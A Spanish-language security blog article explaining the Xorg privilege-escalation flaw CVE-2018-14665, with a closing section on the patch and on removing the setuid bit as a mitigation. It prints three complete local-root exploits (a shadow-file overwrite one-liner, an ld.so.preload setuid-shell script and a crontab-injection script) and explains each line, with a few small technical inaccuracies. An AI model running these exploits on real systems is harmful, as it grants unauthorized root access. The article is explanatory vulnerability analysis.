El 0day de OpenBSD causado por Xorg explicado a fondo

0Day Xorg

Hace algunos días se conoció a nivel mundial una noticia sobre un 0day en OpenBSD que permitía escalar privilegios locales mediante argumentos maliciosos a Xorg. Durante este artículo nos encargaremos de explicar detalladamente como funciona el exploit y cuales son las causas.

· Análisis de la vunerabilidad

- Exploit N° 1

La vulnerabilidad identificada como CVE-2018-14665 es una falla que permite a un usuario normal, adquirir privilegios de superusuario con una línea de código:

cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su

El binario correspondiente al servidor en sí de X.org, por ejemplo: /usr/bin/Xorg, tiene en algunos derivados de UNIX, el bit setuid activado. Eso significa que cuando el binario es ejecutado por un usuario raso tiene capacidad para realizar determinadas operaciones con los permisos de root. En este caso dichos permisos son usados para cosas maliciosas:

cd /etc; - esta orden nos ubica dentro de la carpeta /etc del sistema, como todos sabemos, en dicha carpeta se encuentran los archivos de configuración, entre otras cosas y una vez terminada la orden, continúa con la siguiente.

Xorg -fp "root::16431:0:99999:7:::" - esta línea de código lo que hace es pasarle a Xorg la cadena "root::16431:0:99999:7:::" como registro log, es decir, la salida de ese comando en cuestión es: "root::16431:0:99999:7:::"

-logfile shadow :1; - este segundo parámetro pasado a Xorg, le dice que almacene la cadena de log generada anteriormente en el archivo shadow. Cómo todos conocemos el archivo /etc/shadow es el archivo que almacena todas nuestras contraseñas del sistema. Analizando la línea "root::16431:0:99999:7:::" deducimos varias cosas; el usuario: root, sin contraseña, el valor 16431 es un valor cualquiera, en este caso es el equivalente a tiempo unix: 1/1/1970:4:33am. Este valor y los siguientes son parámetros para indicar hasta cuándo es válida la clave. Este argumento sobreescribe el archivo /etc/shadow de nuestro sistema, dejándolo unicamente con el contenido "root::16431:0:99999:7:::", un usuario root sin contraseña.

su - cambiamos de usuario normal a superusuario.

Aquí podemos ver las líneas mencionadas en acción:

Xorg 0day

- Exploit N° 2

La segunda, de muchas maneras de explotar este fallo se encuentra en este link, con el siguiente contenido:

#!/bin/bash
# x0rg - Xorg Local Root Exploit
# Released under the Snitches Get Stitches Public Licence.
# props to prdelka / fantastic for the shadow vector. 
# Gr33tz to everyone in #lizardhq and elsewhere <3
# ~infodox (25/10/2018)
# FREE LAURI LOVE!
echo "x0rg"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Hack the planet!"
cd /etc; Xorg -fp "/tmp/libhax.so" -logfile ld.so.preload :1;
mount # arbritary setuid we run to pop root
echo "[+] Tidy up a bit..."
rm -f /tmp/libhax.so
echo "[<3] :PPpPpPpOpr000000t!"
/tmp/rootshell

Analizando las líneas.

cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

Estas líneas lo que hacen es crear un archivo llamado /tmp/libhax.c con el contenido visto entre el primer #include y el último EOF.

La órden chown("/tmp/rootshell", 0, 0); cambia el propietario de /tmp/rootshell al usuario 0 (root).

La línea chmod("/tmp/rootshell", 04755); cambia los permisos del archivo a 04755 que es el equivalente a -rwsrwxrwx, es decir, un archivo con permisos de lectura, escritura y ejecución para cualquiera.

La línea unlink("/etc/ld.so.preload"); elimina el fichero "/etc/ld.so.preload".

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF

Luego se compila el fichero que contiene el código malicioso (libhax.c) a manera de librería y como archivo de salida se le llama libhax.so, esta extensión de archivo es usada por las librerías del sistema. Seguidamente se elimina libhax.c.

Entre las línea del cat y el último EOF se hace lo siguiente:

setuid(0); - cambia el UID (Identificador de usuario) del sistema a 0, el usado por root.

setgid(0); - cambia el GID (Identificador de grupo) del sistema a 0, el usado por root.

seteuid(0); - dice que la órden debe ser ejecutada por el usuario 0, es decir root.

setegid(0); - dice que la órden debe ser ejecutada por el grupo 0, es decir al que pertenece root.

execvp("/bin/sh", NULL, NULL); - ejecuta la óden /bin/sh teniendo en cuenta los parámetros anteriores.

gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Hack the planet!"
cd /etc; Xorg -fp "/tmp/libhax.so" -logfile ld.so.preload :1;
mount # arbritary setuid we run to pop root
echo "[+] Tidy up a bit..."
rm -f /tmp/libhax.so
echo "[<3] :PPpPpPpOpr000000t!"
/tmp/rootshell

Estas son las líneas finales, se compila el fichero /tmp/rootshell.c y se le asignal el nombre rootshell dentro del directorio /tmp. Seguidamente se elimina el fichero /tmp/rootshell.c.

Luego entra Xorg en juego nuevamente...

cd /etc; - esta orden nos ubica dentro de la carpeta /etc del sistema, como todos sabemos, en dicha carpeta se encuentran los archivos de configuración, entre otras cosas y una vez terminada la orden, continúa con la siguiente.

Xorg -fp "/tmp/libhax.so" - imprime la cadena "/tmp/libhax.so".

-logfile ld.so.preload :1; - escribe la cadena anterior dentro del archivo ld.so.preload del sistema y sale, todo esto lo hace como usuario normal...

La orden mount es una orden que requiere que se cambie el setuid del sistema usando la librería ld.so.preload, la cual anteriormente dice que se cambian los permisos y el propietario al fichero /tmp/rootshell. Seguidamente se elimina el fichero /tmp/libhax.so.

Finalmente se ejecuta el binario rootshell que como vimos, lo que hace es ejecutar la orden /bin/sh como root, de este modo se obtienen los permisos de superusuario.

- Exploit N° 3

Es el último exploit disponible en la página https://hacker.house, quien fue la primera en publicar el exploit N° 1, su contenido es el siguiente:

echo '[+] OpenBSD 6.3/6.4 X11R6 1.19.0 <= 1.20.2 local root exploit'
cat > /tmp/.xsh << EOF
cp /bin/ksh /usr/local/bin/xshell2
chmod 4777 /usr/local/bin/xshell2
EOF
chmod 755 /tmp/.xsh
cd /etc
Xorg -fp '* * * * * root /tmp/.xsh' -logfile crontab :1 &
sleep 5
pkill Xorg
echo '[-] waiting for crontab to run, clean up /etc/crontab'
sleep 120
echo '[-] running /usr/local/bin/xshell2... got root?'
/usr/local/bin/xshell2

Crea un fichero llamado /tmp/.xsh con el siguiente contenido:

cp /bin/ksh /usr/local/bin/xshell2 - hace una copia de la shell del sistema en /usr/local/bin/xshell2.
chmod 4777 /usr/local/bin/xshell2 - da permisos de ejecución, lectura y escritura al archivo /usr/local/bin/xshell2 para cualquier usuario.

La orden chmod 755 /tmp/.xsh le da permisos de ejecución al fichero.

cd /etc; - esta orden nos ubica dentro de la carpeta /etc del sistema, como todos sabemos, en dicha carpeta se encuentran los archivos de configuración, entre otras cosas y una vez terminada la orden, continúa con la siguiente.

Xorg -fp '* * * * * root /tmp/.xsh' -logfile crontab :1 & - crea una tarea para el demonio del sistema cron, el cual es un administrador de procesos y se ejecuta como administrador del sistema.

pkill Xorg - mata el proceso Xorg.

sleep 120 - coloca una pausa en el sistema de 120 segundos mientras que se ejecuta el demonio cron.

Una vez ejecutado el demonio cron, las órdenes que se encuentran dentro de /tmp/.xsh son ejecutadas y por lo tanto al ejecutar la línea /usr/local/bin/xshell2 con los privilegios del demonio, obtenemos acceso root. Tengamos en cuenta que esto no es ninguna falla por parte de cron, es un problema de Xorg al permitir la escritura de archivos a usuarios sin privilegios en directorios protegidos, en este caso, /etc/crontab.

· Soluciones al problema

El parche es muy simple por parte del equipo de Xorg. No restan o filtran la funcionalidad dentro de los parámetros afectados, simplemente, se limitan a restringir el uso de estos si no es root el usuario que los está invocando directamente (a pesar del setuid activado):

fix

Ver parche.

El chequeo que efectúa xf86PrivsElevated devuelve "true" si no es root quien invoca desde consola a Xorg:

check

Ver función de chequeo.

Recordemos, no obstante, que el binario debe tener activado el bit "setuid" porque sin este bit no es posible sobreescribir "/etc/shadow". Precisamente, la contramedida de esta vulnerabilidad es cambiar los permisos y eliminar el setuid del binario Xorg.

Esperamos que con este artículo hayan quedado claras todas las dudas acerca de la funcional de este exploit 0day del que tanto se escuchó días atrás.

Síguenos en FacebookTwitterunete a nuestro chat en Discord y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, experto en técnicas de privacidad y seguridad en la red, desarrollador back-end, miembro de la FSF y Fundador de Security Hack Labs. Desarrollador de la distribución de hacking BlackArch Linux. Twitter: @edu4rdshl XMPP: [email protected]